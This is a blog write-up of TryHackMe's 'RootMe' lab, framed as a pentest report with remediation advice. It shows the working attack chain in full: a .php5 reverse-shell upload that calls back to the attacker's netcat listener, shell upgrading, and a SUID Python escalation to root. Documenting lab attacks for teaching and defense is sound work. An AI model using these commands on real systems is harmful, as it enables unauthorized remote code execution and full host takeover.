$ tree ~/
inquiries:contact@ack403.com
CTF Reports· 7 min read

RootMe: Penetration Test Report

Unauthenticated file upload bypass (.php5) to a www-data shell, then SUID Python to root on TryHackMe's RootMe.

  • Tester: ack403
  • Target: TryHackMe “RootMe” (single Linux host)
  • Engagement type: Black-box, external network → full host compromise
  • Result: Full compromise. Unauthenticated remote code execution led to root

A note on format: RootMe is a beginner CTF box, but I wrote this up as if it were a real client engagement: findings, severity, evidence, and remediation. Flags are redacted to respect TryHackMe’s rules and so the room isn’t spoiled.


1. Executive Summary

The target web server allowed an unauthenticated user to upload files through a hidden admin page. The page tried to block PHP files with an extension blocklist, which was bypassed by changing the extension to .php5. The uploaded file ran on the server, which gave an interactive shell as the web service account (www-data).

From there, a misconfiguration on the host gave root. The Python interpreter had the SUID bit set, so any local user could run arbitrary code as root.

Chained together, these two issues let an anonymous attacker on the network take full administrative control of the server in a few minutes, using only free, public tools.

Findings Overview

ID Finding Severity
F-01 Unrestricted file upload via extension blocklist bypass → RCE Critical
F-02 SUID bit set on Python interpreter → local privilege escalation to root High
F-03 Unauthenticated, discoverable admin upload panel Medium
F-04 Upload directory is web-accessible, executable, and indexable Medium
F-05 Service version disclosure (Apache, OpenSSH) Informational

2. Scope & Methodology

In scope: One host, 10.10.177.208 (TryHackMe-assigned; the IP changes per deployment).

Approach: I followed a standard external testing flow:

  1. Reconnaissance: port and service enumeration
  2. Enumeration: web content discovery
  3. Exploitation: initial foothold
  4. Post-exploitation: local enumeration and privilege escalation
  5. Reporting

Tooling: nmap, gobuster, netcat, curl, pentestmonkey’s PHP reverse shell, GTFOBins


3. Attack Narrative

3.1 Reconnaissance: Service Enumeration

I started with a service/version scan using nmap’s default scripts:

nmap -sC -sV 10.10.177.208
  • -sC: run the default NSE script set
  • -sV: probe open ports for service and version info

Results: 2 open TCP ports.

Port Service Version
22/tcp SSH OpenSSH
80/tcp HTTP Apache 2.4.x

The attack surface is small: SSH (not useful without credentials) and a web server. The web server is the likely way in.

3.2 Enumeration: Web Content Discovery

The landing page had nothing interesting, so I brute-forced directories:

gobuster dir -u http://10.10.177.208 -w /usr/share/wordlists/dirb/common.txt

Two directories stood out:

  • /p****/: a hidden page with a file upload form and no authentication
  • /uploads/: a directory listing, which is probably where uploaded files end up

A public upload form next to a browsable upload directory suggests the server stores uploads somewhere it can execute them. If so, uploading a script gets code execution.

3.3 Exploitation: Bypassing the Upload Filter (F-01)

Payload prep. I used pentestmonkey’s php-reverse-shell and set the callback to my attack box:

$ip = '10.x.x.x';   // attacker tun0 IP
$port = 9999;       // listener port

Attempt 1: plain .php. Rejected with a “PHP not permitted” error, so a server-side filter is in place.

Attempt 2: magic-byte spoofing. Benign .jpg files uploaded fine, so I tried prepending JPEG magic bytes (FF D8 FF DB) to the PHP payload. The file uploaded, but the server served it as an image and didn’t run it. The filter wasn’t checking file contents, so this wasn’t the bypass.

Attempt 3: alternate PHP extension. The behavior so far pointed to a blocklist on the literal .php extension, not an allowlist of safe types. Apache’s PHP handler often runs other extensions too (.php3, .php4, .php5, .phtml). I renamed the payload to reverse-shell.php5:

It uploaded.

Triggering the shell. I started a listener, then requested the uploaded file:

# Terminal 1 — listener
nc -nlvp 9999

# Terminal 2 — trigger
curl http://10.10.177.208/uploads/reverse-shell.php5

The connection came back as www-data, giving unauthenticated remote code execution.

Shell stabilization. Raw netcat shells are fragile, so I upgraded to a PTY before continuing:

python -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z, then on the attack box:
stty raw -echo; fg
export TERM=xterm

3.4 Post-Exploitation: User Flag

I searched the filesystem for the user flag:

find / -type f -name user.txt 2>/dev/null
  • -type f: files only
  • -name user.txt: exact filename match
  • 2>/dev/null: discard permission-denied noise

It was at /var/www/user.txt.

cat /var/www/user.txt
# THM{[REDACTED]}

3.5 Privilege Escalation: SUID Python (F-02)

A standard step in Linux privesc is listing binaries that run with their owner’s privileges (SUID) and are owned by root:

find / -type f -user root -perm -4000 2>/dev/null

Most results were the usual (passwd, su, mount, sudo, etc.). One wasn’t:

/usr/bin/python

A SUID language interpreter is effectively a root shell for anyone who can run it. Python can call os.execl(), so I checked GTFOBins to confirm the technique:

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

The -p flag matters. Without it, sh drops the elevated effective UID it inherits from the SUID binary. With it, the shell keeps root privileges.

# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

An effective UID of 0 means full root.

3.6 Root Flag

find / -type f -name root.txt 2>/dev/null
cat /root/root.txt
# THM{[REDACTED]}

Host fully compromised.


4. Detailed Findings

F-01: Unrestricted File Upload via Extension Blocklist Bypass → RCE

Severity: Critical · CWE: CWE-434 (Unrestricted Upload of File with Dangerous Type)

Description: The upload form rejects files ending in .php but accepts other extensions Apache runs as PHP, such as .php5. Uploaded files are stored inside the web root and run when requested.

Impact: Any unauthenticated remote attacker can run arbitrary commands as www-data. This leads to data theft and full compromise when chained with F-02.

Remediation:

  • Replace the blocklist with a strict allowlist of required file types, and validate both the extension and the actual content type server-side.
  • Rename uploaded files to server-generated names and strip the user-supplied extension.
  • Store uploads outside the web root, or serve them through a handler that never passes them to the PHP interpreter.
  • Disable PHP execution in the upload directory (php_admin_flag engine off or RemoveHandler/SetHandler none in the vhost config).

F-02: SUID Bit Set on Python Interpreter

Severity: High · CWE: CWE-250 (Execution with Unnecessary Privileges)

Description: /usr/bin/python is owned by root with the SUID bit set, so any user who runs it gets root’s effective privileges.

Impact: Any local user or compromised service account can escalate to root with a single command.

Remediation:

  • Remove the SUID bit: chmod u-s /usr/bin/python
  • Audit all SUID/SGID binaries against a known-good baseline and alert on changes.
  • If elevated Python execution is genuinely needed, use a tightly scoped sudo rule for a specific script, not a SUID interpreter.

F-03: Unauthenticated, Discoverable Admin Upload Panel

Severity: Medium · CWE: CWE-306 (Missing Authentication for Critical Function)

Description: The upload page relies on an obscure path, not authentication. A common wordlist found it in seconds.

Remediation: Require authentication and authorization for administrative functions. Obscurity is not access control. Consider restricting admin paths by source IP or putting them behind a VPN.

F-04: Web-Accessible, Executable, Indexable Upload Directory

Severity: Medium · CWE: CWE-548 (Exposure of Information Through Directory Listing)

Description: /uploads/ has directory listing enabled, and its contents run in the web server’s context. An attacker can confirm where a payload landed and trigger it.

Remediation: Disable directory indexing (Options -Indexes) and apply the storage and execution controls from F-01.

F-05: Service Version Disclosure

Severity: Informational

Description: Apache and OpenSSH reveal their exact versions in banners and headers, which helps attackers pick matching exploits.

Remediation: Set ServerTokens Prod and ServerSignature Off in Apache, and keep services patched.


5. Attack Chain Summary

[Anonymous attacker]
        │  nmap → port 80 open
        ▼
[gobuster] → hidden upload panel + /uploads/
        │  F-03, F-04
        ▼
[.php5 upload bypass] → reverse shell as www-data      (F-01)
        │
        ▼
[SUID /usr/bin/python] → os.execl("/bin/sh","sh","-p") (F-02)
        │
        ▼
[root]

6. Lessons Learned

  • Blocklists fail open. The filter blocked the one extension the developer thought of. An allowlist would have stopped this outright.
  • Read the filter’s behavior. The magic-byte attempt failing told me the filter checked the extension, not the content, which pointed straight at the .php5 bypass.
  • Check SUID binaries early. find / -perm -4000 is one of the first commands I run after landing a shell, and here it found the path to root immediately.
  • Defense in depth would have contained this. Fixing any one of F-01, F-02, or the upload-directory execution would have stopped or greatly limited the full chain.

This assessment was performed against an intentionally vulnerable lab environment provided by TryHackMe. All testing was authorized within the scope of that platform.

#web#file-upload#rce#suid#privilege-escalation#linux

← cd ..